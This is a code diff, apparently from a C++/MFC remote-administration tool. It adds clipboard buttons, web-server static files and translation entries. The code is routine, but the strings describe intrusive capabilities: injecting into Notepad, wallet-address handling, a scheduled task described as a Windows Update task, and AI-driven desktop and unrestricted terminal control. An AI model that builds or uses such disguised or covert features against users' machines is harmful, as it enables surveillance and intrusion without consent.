|
||||||
int btnSpacing = 8;
|
int btnSpacing = 8;
|
||||||
int btnCount = 16;
|
int btnCount = 18;
|
||||||
|
|
||||||
CWnd* btns[] = {
|
CWnd* btns[] = {
|
||||||
&m_btnExit,
|
&m_btnExit,
|
||||||
@@ -531,6 +540,8 @@ void CToolbarDlg::LayoutButtons()
|
|||||||
&m_btnY, // 预留按钮 Y
|
&m_btnY, // 预留按钮 Y
|
||||||
&m_btnZ, // 预留按钮 Z
|
&m_btnZ, // 预留按钮 Z
|
||||||
&m_btnScreenshot,
|
&m_btnScreenshot,
|
||||||
|
&m_btnGetClipboard,
|
||||||
|
&m_btnSetClipboard,
|
||||||
&m_btnMinimize,
|
&m_btnMinimize,
|
||||||
&m_btnClose,
|
&m_btnClose,
|
||||||
};
|
};
|
||||||
@@ -588,9 +599,9 @@ void CToolbarDlg::UpdatePosition()
|
|||||||
int monWidth = rcMonitor.right - rcMonitor.left;
|
int monWidth = rcMonitor.right - rcMonitor.left;
|
||||||
int monHeight = rcMonitor.bottom - rcMonitor.top;
|
int monHeight = rcMonitor.bottom - rcMonitor.top;
|
||||||
|
|
||||||
int hw = 640;
|
int hw = 720;
|
||||||
int vw = 40;
|
int vw = 40;
|
||||||
int vh = 640;
|
int vh = 720;
|
||||||
int hx = rcMonitor.left + (monWidth - hw) / 2;
|
int hx = rcMonitor.left + (monWidth - hw) / 2;
|
||||||
|
|
||||||
switch (m_nPosition) {
|
switch (m_nPosition) {
|
||||||
@@ -785,6 +796,18 @@ void CToolbarDlg::OnBnClickedScreenshot()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CToolbarDlg::OnBnClickedGetClipboard()
|
||||||
|
{
|
||||||
|
// 与系统菜单 IDM_GET_CLIPBOARD 相同的处理逻辑
|
||||||
|
GetParent()->PostMessage(WM_SYSCOMMAND, IDM_GET_CLIPBOARD, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CToolbarDlg::OnBnClickedSetClipboard()
|
||||||
|
{
|
||||||
|
// 与系统菜单 IDM_SET_CLIPBOARD 相同的处理逻辑
|
||||||
|
GetParent()->PostMessage(WM_SYSCOMMAND, IDM_SET_CLIPBOARD, 0);
|
||||||
|
}
|
||||||
|
|
||||||
BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg)
|
BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg)
|
||||||
{
|
{
|
||||||
if (m_tooltip.GetSafeHwnd()) {
|
if (m_tooltip.GetSafeHwnd()) {
|
||||||
|
|||||||
@@ -39,6 +39,8 @@ public:
|
|||||||
CIconButton m_btnY; // 预留按钮 Y
|
CIconButton m_btnY; // 预留按钮 Y
|
||||||
CIconButton m_btnZ; // 预留按钮 Z
|
CIconButton m_btnZ; // 预留按钮 Z
|
||||||
CIconButton m_btnScreenshot;
|
CIconButton m_btnScreenshot;
|
||||||
|
CIconButton m_btnGetClipboard; // 获取剪贴板
|
||||||
|
CIconButton m_btnSetClipboard; // 设置剪贴板
|
||||||
CIconButton m_btnMinimize;
|
CIconButton m_btnMinimize;
|
||||||
CIconButton m_btnClose;
|
CIconButton m_btnClose;
|
||||||
|
|
||||||
@@ -80,6 +82,8 @@ public:
|
|||||||
afx_msg void OnBnClickedY(); // 预留按钮 Y 响应函数
|
afx_msg void OnBnClickedY(); // 预留按钮 Y 响应函数
|
||||||
afx_msg void OnBnClickedZ(); // 预留按钮 Z 响应函数
|
afx_msg void OnBnClickedZ(); // 预留按钮 Z 响应函数
|
||||||
afx_msg void OnBnClickedScreenshot();
|
afx_msg void OnBnClickedScreenshot();
|
||||||
|
afx_msg void OnBnClickedGetClipboard();
|
||||||
|
afx_msg void OnBnClickedSetClipboard();
|
||||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
};
|
};
|
||||||
@@ -35,6 +35,16 @@ static std::string LoadBinaryResourceAsString(int resourceId) {
|
|||||||
return std::string(static_cast<const char*>(p), size);
|
return std::string(static_cast<const char*>(p), size);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Replace all occurrences of `from` with `to` in-place.
|
||||||
|
static void ReplaceAll(std::string& s, const std::string& from, const std::string& to) {
|
||||||
|
if (from.empty()) return;
|
||||||
|
size_t pos = 0;
|
||||||
|
while ((pos = s.find(from, pos)) != std::string::npos) {
|
||||||
|
s.replace(pos, from.length(), to);
|
||||||
|
pos += to.length();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Challenge-response nonce storage (prevents replay attacks)
|
// Challenge-response nonce storage (prevents replay attacks)
|
||||||
static std::map<void*, std::string> s_ClientNonces;
|
static std::map<void*, std::string> s_ClientNonces;
|
||||||
static std::mutex s_NonceMutex;
|
static std::mutex s_NonceMutex;
|
||||||
@@ -231,6 +241,10 @@ void CWebService::ServerThread(int port) {
|
|||||||
|
|
||||||
// Serve static HTML page and file downloads
|
// Serve static HTML page and file downloads
|
||||||
static std::string cachedHtml = GetWebPageHTML();
|
static std::string cachedHtml = GetWebPageHTML();
|
||||||
|
// server/web/index.html carries a __BASE_PATH__ placeholder for the Go
|
||||||
|
// server's subpath deployment. The MFC server serves from the domain root,
|
||||||
|
// so strip it (→ "") — otherwise the WebSocket/CSS/JS URLs break.
|
||||||
|
ReplaceAll(cachedHtml, "__BASE_PATH__", "");
|
||||||
// Log loaded size; zero bytes means the RC BINARY resource is missing or
|
// Log loaded size; zero bytes means the RC BINARY resource is missing or
|
||||||
// server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
|
// server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
|
||||||
Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
|
Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
|
||||||
@@ -241,6 +255,7 @@ void CWebService::ServerThread(int port) {
|
|||||||
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
|
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
|
||||||
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
|
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
|
||||||
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
|
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
|
||||||
|
static std::string cachedOpusDecoderJs = LoadBinaryResourceAsString(IDR_WEB_OPUS_DECODER_JS);
|
||||||
|
|
||||||
auto buildStatic = [](const std::string& body, const std::string& mime) {
|
auto buildStatic = [](const std::string& body, const std::string& mime) {
|
||||||
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
|
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
|
||||||
@@ -260,6 +275,9 @@ void CWebService::ServerThread(int port) {
|
|||||||
} else if (path == "/static/xterm-fit.js") {
|
} else if (path == "/static/xterm-fit.js") {
|
||||||
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
|
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
|
||||||
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
|
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
|
||||||
|
} else if (path == "/static/opus-decoder.min.js") {
|
||||||
|
if (cachedOpusDecoderJs.empty()) return ws::HttpResponse::NotFound();
|
||||||
|
return buildStatic(cachedOpusDecoderJs, "application/javascript; charset=utf-8");
|
||||||
} else if (path == "/health") {
|
} else if (path == "/health") {
|
||||||
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
|
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
|
||||||
} else if (path == "/manifest.json") {
|
} else if (path == "/manifest.json") {
|
||||||
|
|||||||
@@ -55,6 +55,16 @@ public:
|
|||||||
}
|
}
|
||||||
virtual void SetGroupName(const std::string& group) {}
|
virtual void SetGroupName(const std::string& group) {}
|
||||||
|
|
||||||
|
// 等待本连接待发送缓冲排空(用于「发写命令 → 补发刷新命令」的背靠背发送:
|
||||||
|
// 两次 Send2Client 会对同一发送缓冲并发 WSASend,造成竞态/丢包)。非 IOCP
|
||||||
|
// 服务端无异步发送缓冲,默认立即返回 true;CONTEXT_OBJECT 覆写为轮询发送缓冲
|
||||||
|
// 归零直到排空或超时。
|
||||||
|
virtual bool WaitSendIdle(int timeoutMs)
|
||||||
|
{
|
||||||
|
(void)timeoutMs;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
// 检查客户端是否支持 V2 文件传输
|
// 检查客户端是否支持 V2 文件传输
|
||||||
bool SupportsFileV2() const {
|
bool SupportsFileV2() const {
|
||||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||||
|
|||||||
@@ -644,22 +644,22 @@ void CFileManagerDlg::OnReceiveComplete()
|
|||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SEARCHPLUS_NONTFS: {
|
case TOKEN_FILE_SEARCHPLUS_NONTFS: {
|
||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_TRF(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SEARCHPLUS_HANDLE: {
|
case TOKEN_FILE_SEARCHPLUS_HANDLE: {
|
||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SEARCHPLUS_INITUSN: {
|
case TOKEN_FILE_SEARCHPLUS_INITUSN: {
|
||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SEARCHPLUS_GETUSN: {
|
case TOKEN_FILE_SEARCHPLUS_GETUSN: {
|
||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SEARCHPLUS_NUMBER: {
|
case TOKEN_FILE_SEARCHPLUS_NUMBER: {
|
||||||
@@ -764,13 +764,13 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
|
|
||||||
int nItem = m_list_remote_driver.GetSelectionMark();
|
int nItem = m_list_remote_driver.GetSelectionMark();
|
||||||
CString directory = m_list_remote_driver.GetItemText(nItem, 0);
|
CString directory = m_list_remote_driver.GetItemText(nItem, 0);
|
||||||
if (directory.Compare(_T("桌面")) == 0) {
|
if (directory.Compare(_L(_T("桌面"))) == 0) {
|
||||||
m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath);
|
m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath);
|
||||||
m_list_remote.SetSelectionMark(-1);
|
m_list_remote.SetSelectionMark(-1);
|
||||||
GetRemoteFileList();
|
GetRemoteFileList();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (directory.Compare(_T("最近")) == 0) {
|
if (directory.Compare(_L(_T("最近"))) == 0) {
|
||||||
BYTE byToken = COMMAND_FILE_RECENT;
|
BYTE byToken = COMMAND_FILE_RECENT;
|
||||||
m_ContextObject->Send2Client(&byToken, 1);
|
m_ContextObject->Send2Client(&byToken, 1);
|
||||||
return;
|
return;
|
||||||
@@ -1482,10 +1482,10 @@ void CFileManagerDlg::EndLocalRecvFile()
|
|||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
if (m_bIsStop) {
|
if (m_bIsStop) {
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
||||||
(LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
(LPARAM)_TRF(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
} else {
|
} else {
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
||||||
(LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
(LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
m_bIsStop = false;
|
m_bIsStop = false;
|
||||||
} else {
|
} else {
|
||||||
@@ -1516,10 +1516,10 @@ void CFileManagerDlg::EndLocalUploadFile()
|
|||||||
DWORD_PTR dwResult;
|
DWORD_PTR dwResult;
|
||||||
if (m_bIsStop) {
|
if (m_bIsStop) {
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
||||||
(LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
(LPARAM)_TRF(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
} else {
|
} else {
|
||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
|
||||||
(LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
(LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
}
|
}
|
||||||
m_bIsStop = false;
|
m_bIsStop = false;
|
||||||
DRIVE_CAZ = TRUE;
|
DRIVE_CAZ = TRUE;
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -231,6 +231,8 @@ RTT=RTT
|
|||||||
放下面=Send Back
|
放下面=Send Back
|
||||||
透明度=Opacity
|
透明度=Opacity
|
||||||
截图=Capture
|
截图=Capture
|
||||||
|
获取剪贴板=Get Clipboard
|
||||||
|
设置剪贴板=Set Clipboard
|
||||||
|
|
||||||
; ============================================
|
; ============================================
|
||||||
; Settings Dialog
|
; Settings Dialog
|
||||||
@@ -388,6 +390,7 @@ Rar
|
|||||||
客户管理=Client Mgmt
|
客户管理=Client Mgmt
|
||||||
转移主机=Transfer Host
|
转移主机=Transfer Host
|
||||||
分享主机=Share Host
|
分享主机=Share Host
|
||||||
|
使用 Shine 协议(兼容 Go 服务端)=Use Shine protocol (Go-server compatible)
|
||||||
取消分享=Cancel Sharing
|
取消分享=Cancel Sharing
|
||||||
确定取消分享主机? 将撤销全部的分享链接。=Cancel sharing clients? This will remove all share links.
|
确定取消分享主机? 将撤销全部的分享链接。=Cancel sharing clients? This will remove all share links.
|
||||||
删除主机=Delete Host
|
删除主机=Delete Host
|
||||||
@@ -407,6 +410,7 @@ Rar
|
|||||||
撤销授权=Revoke Auth
|
撤销授权=Revoke Auth
|
||||||
注入记事本=Inject Notepad
|
注入记事本=Inject Notepad
|
||||||
机器管理=Machine Mgmt
|
机器管理=Machine Mgmt
|
||||||
|
主机管理=Host Mgmt
|
||||||
注销=Log Off
|
注销=Log Off
|
||||||
关机=Shutdown
|
关机=Shutdown
|
||||||
重启=Restart
|
重启=Restart
|
||||||
@@ -1351,7 +1355,7 @@ FUCK!!!
|
|||||||
编辑备注=Edit remarks
|
编辑备注=Edit remarks
|
||||||
自己:=Self:
|
自己:=Self:
|
||||||
视频文件(*.avi)|*.avi|=Video(*.avi)|*.avi|
|
视频文件(*.avi)|*.avi|=Video(*.avi)|*.avi|
|
||||||
解除锁定输入=解除锁定输入
|
解除锁定输入=Unlock Remote Input
|
||||||
计算机已经被用户锁屏,程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制,是否继续?=Computer locked, no SYSTEM.\r\nRemote may fail, continue?
|
计算机已经被用户锁屏,程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制,是否继续?=Computer locked, no SYSTEM.\r\nRemote may fail, continue?
|
||||||
请先生成口令!=Generate password first!
|
请先生成口令!=Generate password first!
|
||||||
请将EXE放在\=Put EXE in \
|
请将EXE放在\=Put EXE in \
|
||||||
@@ -1490,7 +1494,7 @@ SMTP
|
|||||||
触发条件:=Trigger:
|
触发条件:=Trigger:
|
||||||
匹配列:=Match Column:
|
匹配列:=Match Column:
|
||||||
关键词:=Keywords:
|
关键词:=Keywords:
|
||||||
(多个关键词用分号分隔,匹配任一项即触发通知)=(Multiple keywords separated by semicolon)
|
(每行一个关键词,匹配任一项即触发通知)=(One keyword per line)
|
||||||
提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes
|
提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes
|
||||||
主机上线=Host Online
|
主机上线=Host Online
|
||||||
IP地址=IP Address
|
IP地址=IP Address
|
||||||
@@ -1987,15 +1991,90 @@ MCP
|
|||||||
端口需为 1-65535 的数字=Port must be a number between 1 and 65535
|
端口需为 1-65535 的数字=Port must be a number between 1 and 65535
|
||||||
Token 不能为空=Token cannot be empty
|
Token 不能为空=Token cannot be empty
|
||||||
MCP 设置已保存。=MCP settings saved.
|
MCP 设置已保存。=MCP settings saved.
|
||||||
启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。=Changes to enable/port/bind address/token/read-only/whitelist/persistent terminal/remote control/file transfer take effect after restart.
|
启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=Changes to enable/port/bind address/token/read-only/whitelist/persistent terminal/remote control/file transfer/management operations take effect after restart.
|
||||||
只读模式(禁命令执行)=Read-only mode (disable command execution)
|
只读模式(禁命令执行)=Read-only mode (disable command execution)
|
||||||
命令白名单=Command whitelist
|
命令白名单=Command whitelist
|
||||||
MCP命令执行=MCP command execution
|
MCP命令执行=MCP command execution
|
||||||
启用持久终端(全命令,无白名单)=Enable persistent terminal (full commands, no whitelist)
|
启用持久终端(全命令,无白名单)=Enable persistent terminal (full commands, no whitelist)
|
||||||
持久终端与远程控制仅在只读模式关闭时生效。=Persistent terminal and remote control take effect only when read-only mode is off.
|
持久终端、远程控制与管理操作仅在只读模式关闭时生效。=Persistent terminal, remote control and management operations take effect only when read-only mode is off.
|
||||||
MCP持久终端=MCP persistent terminal
|
MCP持久终端=MCP persistent terminal
|
||||||
MCP远程控制=MCP remote control
|
MCP远程控制=MCP remote control
|
||||||
MCP文件传输=MCP file transfer
|
MCP文件传输=MCP file transfer
|
||||||
|
MCP管理操作=MCP management operation
|
||||||
Token=Token
|
Token=Token
|
||||||
启用远程控制(AI 操控桌面)=Enable remote control (AI controls the desktop)
|
启用远程控制(AI 操控桌面)=Enable remote control (AI controls the desktop)
|
||||||
启用文件传输(download_file)=Enable file transfer (download_file)
|
启用文件传输(download_file)=Enable file transfer (download_file)
|
||||||
|
启用管理操作(进程/窗口/服务/电源)=Enable management operations (process/window/service/power)
|
||||||
|
第 %d 个钱包地址不合法!=Wallet address #%d is invalid!
|
||||||
|
%d 新连接\r\n=%d New connection\r\n
|
||||||
|
%d 本地连接断开\r\n=%d Local connection closed\r\n
|
||||||
|
%d <==发 %d bytes\r\n=%d <== sent %d bytes\r\n
|
||||||
|
%d 返回标示 %d %d %d\r\n=%d Return flag %d %d %d\r\n
|
||||||
|
域名 连接 %d \r\n=Domain connect %d \r\n
|
||||||
|
%d IPV6连接 不支持...=%d IPv6 connection not supported...
|
||||||
|
%d 不符要求, 断开 %d %d %d\r\n=%d Not compliant, disconnect %d %d %d\r\n
|
||||||
|
%d 连接成功\r\n=%d Connected\r\n
|
||||||
|
%d 连接失败\r\n=%d Connection failed\r\n
|
||||||
|
%d ==>收 %d bytes\r\n=%d ==> received %d bytes\r\n
|
||||||
|
驱动盘非NTFS格式= Drive is not NTFS
|
||||||
|
需要管理员权限运行=Administrator privileges required
|
||||||
|
初始化日志文件失败=Failed to initialize log file
|
||||||
|
获取日志文件失败=Failed to get log file
|
||||||
|
取消下载= Download cancelled
|
||||||
|
全部完成= All done
|
||||||
|
取消上传= Upload cancelled
|
||||||
|
无权限或无记录...=No permission or no records...
|
||||||
|
请等待数据返回...=Waiting for data...
|
||||||
|
接收数据完成=Data received
|
||||||
|
打开文件失败...=Failed to open file...
|
||||||
|
此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=This task starts the Windows Update service when needed to run scheduled operations (e.g. scanning)
|
||||||
|
本地文件路径=Local file path
|
||||||
|
高级(&A)=&Advanced
|
||||||
|
远程桌面质量等级(&Q)=Remote Desktop &Quality Levels
|
||||||
|
远程桌面质量等级=Remote Desktop Quality Levels
|
||||||
|
等级=Level
|
||||||
|
帧率(FPS)=FPS
|
||||||
|
最大宽度=Max Width
|
||||||
|
编码算法=Codec
|
||||||
|
码率(kbps)=Bitrate (kbps)
|
||||||
|
Ultra 极佳=Ultra
|
||||||
|
High 优秀=High
|
||||||
|
Good 良好=Good
|
||||||
|
Medium 一般=Medium
|
||||||
|
Low 较差=Low
|
||||||
|
Minimal 最低=Minimal
|
||||||
|
最大宽度 0 表示原始分辨率;DIFF/RGB565 适合局域网,H264 适合跨网=Max Width 0 = native resolution; DIFF/RGB565 for LAN, H264 for WAN
|
||||||
|
恢复默认=Restore Defaults
|
||||||
|
质量等级已保存,下次打开远程桌面时生效。=Quality levels saved. They take effect the next time you open Remote Desktop.
|
||||||
|
屏幕预览质量等级(&P)=Screen Preview &Quality Levels
|
||||||
|
屏幕预览质量等级=Screen Preview Quality Levels
|
||||||
|
JPEG质量=JPEG Quality
|
||||||
|
最大宽度为期望编码宽度;JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100
|
||||||
|
预览质量等级已保存,下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent.
|
||||||
|
|
||||||
|
; ============================================
|
||||||
|
; File Transfer Speed Dialog (文件传输速度)
|
||||||
|
; ============================================
|
||||||
|
文件传输速度(&F)...=&File Transfer Speed...
|
||||||
|
文件传输速度=File Transfer Speed
|
||||||
|
拖动滑块设置文件传输速度:=Drag the slider to set the transfer speed:
|
||||||
|
最慢=Slowest
|
||||||
|
慢=Slow
|
||||||
|
默认=Default
|
||||||
|
快=Fast
|
||||||
|
更快=Faster
|
||||||
|
很快=Very Fast
|
||||||
|
不限速=Unlimited
|
||||||
|
%s · 约 %.2f MB/s=%s · about %.2f MB/s
|
||||||
|
%s · 不受限速(受网络带宽约束)=%s · Unlimited (limited by network bandwidth)
|
||||||
|
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed takes effect the next time you open File Manager or Remote Desktop.
|
||||||
|
|
||||||
|
连接管理=Connections
|
||||||
|
%s - 连接管理=%s - Connections
|
||||||
|
本地地址=Local Address
|
||||||
|
本地端口=Local Port
|
||||||
|
远端地址=Remote Address
|
||||||
|
远端端口=Remote Port
|
||||||
|
连接数:%d=Connections: %d
|
||||||
|
强制断开=Force Disconnect
|
||||||
|
远程交谈=Talk
|
||||||
@@ -230,6 +230,8 @@ RTT=RTT
|
|||||||
放下面=置於下層
|
放下面=置於下層
|
||||||
透明度=透明度
|
透明度=透明度
|
||||||
截图=擷取螢幕
|
截图=擷取螢幕
|
||||||
|
获取剪贴板=取得剪貼簿
|
||||||
|
设置剪贴板=設定剪貼簿
|
||||||
|
|
||||||
; ============================================
|
; ============================================
|
||||||
; Settings Dialog
|
; Settings Dialog
|
||||||
@@ -388,6 +390,7 @@ Rar
|
|||||||
客户管理=用戶管理
|
客户管理=用戶管理
|
||||||
转移主机=轉移主機
|
转移主机=轉移主機
|
||||||
分享主机=分享主機
|
分享主机=分享主機
|
||||||
|
使用 Shine 协议(兼容 Go 服务端)=使用 Shine 協議(相容 Go 伺服器)
|
||||||
取消分享=取消分享
|
取消分享=取消分享
|
||||||
确定取消分享主机? 将撤销全部的分享链接。=确定取消分享主机? 将撤销全部的分享链接。
|
确定取消分享主机? 将撤销全部的分享链接。=确定取消分享主机? 将撤销全部的分享链接。
|
||||||
删除主机=刪除主機
|
删除主机=刪除主機
|
||||||
@@ -407,6 +410,7 @@ Rar
|
|||||||
撤销授权=撤銷授權
|
撤销授权=撤銷授權
|
||||||
注入记事本=注入記事本
|
注入记事本=注入記事本
|
||||||
机器管理=機器管理
|
机器管理=機器管理
|
||||||
|
主机管理=主機管理
|
||||||
注销=登出
|
注销=登出
|
||||||
关机=關機
|
关机=關機
|
||||||
重启=重新啟動
|
重启=重新啟動
|
||||||
@@ -1978,15 +1982,90 @@ MCP
|
|||||||
端口需为 1-65535 的数字=連接埠需為 1-65535 的數字
|
端口需为 1-65535 的数字=連接埠需為 1-65535 的數字
|
||||||
Token 不能为空=Token 不能為空
|
Token 不能为空=Token 不能為空
|
||||||
MCP 设置已保存。=MCP 設定已儲存。
|
MCP 设置已保存。=MCP 設定已儲存。
|
||||||
启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。=啟用/連接埠/綁定位址/Token/唯讀/白名單/持久終端/遠端控制/檔案傳輸的變更需重新啟動程式後生效。
|
启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=啟用/連接埠/綁定位址/Token/唯讀/白名單/持久終端/遠端控制/檔案傳輸/管理操作的變更需重新啟動程式後生效。
|
||||||
只读模式(禁命令执行)=唯讀模式(禁命令執行)
|
只读模式(禁命令执行)=唯讀模式(禁命令執行)
|
||||||
命令白名单=命令白名單
|
命令白名单=命令白名單
|
||||||
MCP命令执行=MCP命令執行
|
MCP命令执行=MCP命令執行
|
||||||
启用持久终端(全命令,无白名单)=啟用持久終端(完整命令,無白名單)
|
启用持久终端(全命令,无白名单)=啟用持久終端(完整命令,無白名單)
|
||||||
持久终端与远程控制仅在只读模式关闭时生效。=持久終端與遠端控制僅在唯讀模式關閉時生效。
|
持久终端、远程控制与管理操作仅在只读模式关闭时生效。=持久終端、遠端控制與管理操作僅在唯讀模式關閉時生效。
|
||||||
MCP持久终端=MCP持久終端
|
MCP持久终端=MCP持久終端
|
||||||
MCP远程控制=MCP遠端控制
|
MCP远程控制=MCP遠端控制
|
||||||
MCP文件传输=MCP檔案傳輸
|
MCP文件传输=MCP檔案傳輸
|
||||||
|
MCP管理操作=MCP管理操作
|
||||||
Token=Token
|
Token=Token
|
||||||
启用远程控制(AI 操控桌面)=啟用遠端控制(AI 操控桌面)
|
启用远程控制(AI 操控桌面)=啟用遠端控制(AI 操控桌面)
|
||||||
启用文件传输(download_file)=啟用檔案傳輸(download_file)
|
启用文件传输(download_file)=啟用檔案傳輸(download_file)
|
||||||
|
启用管理操作(进程/窗口/服务/电源)=啟用管理操作(程序/視窗/服務/電源)
|
||||||
|
第 %d 个钱包地址不合法!=第 %d 個錢包位址不合法!
|
||||||
|
%d 新连接\r\n=%d 新連線\r\n
|
||||||
|
%d 本地连接断开\r\n=%d 本機連線斷開\r\n
|
||||||
|
%d <==发 %d bytes\r\n=%d <==傳送 %d bytes\r\n
|
||||||
|
%d 返回标示 %d %d %d\r\n=%d 返回標示 %d %d %d\r\n
|
||||||
|
域名 连接 %d \r\n=網域連線 %d \r\n
|
||||||
|
%d IPV6连接 不支持...=%d IPv6連線 不支援...
|
||||||
|
%d 不符要求, 断开 %d %d %d\r\n=%d 不符合要求, 斷開 %d %d %d\r\n
|
||||||
|
%d 连接成功\r\n=%d 連線成功\r\n
|
||||||
|
%d 连接失败\r\n=%d 連線失敗\r\n
|
||||||
|
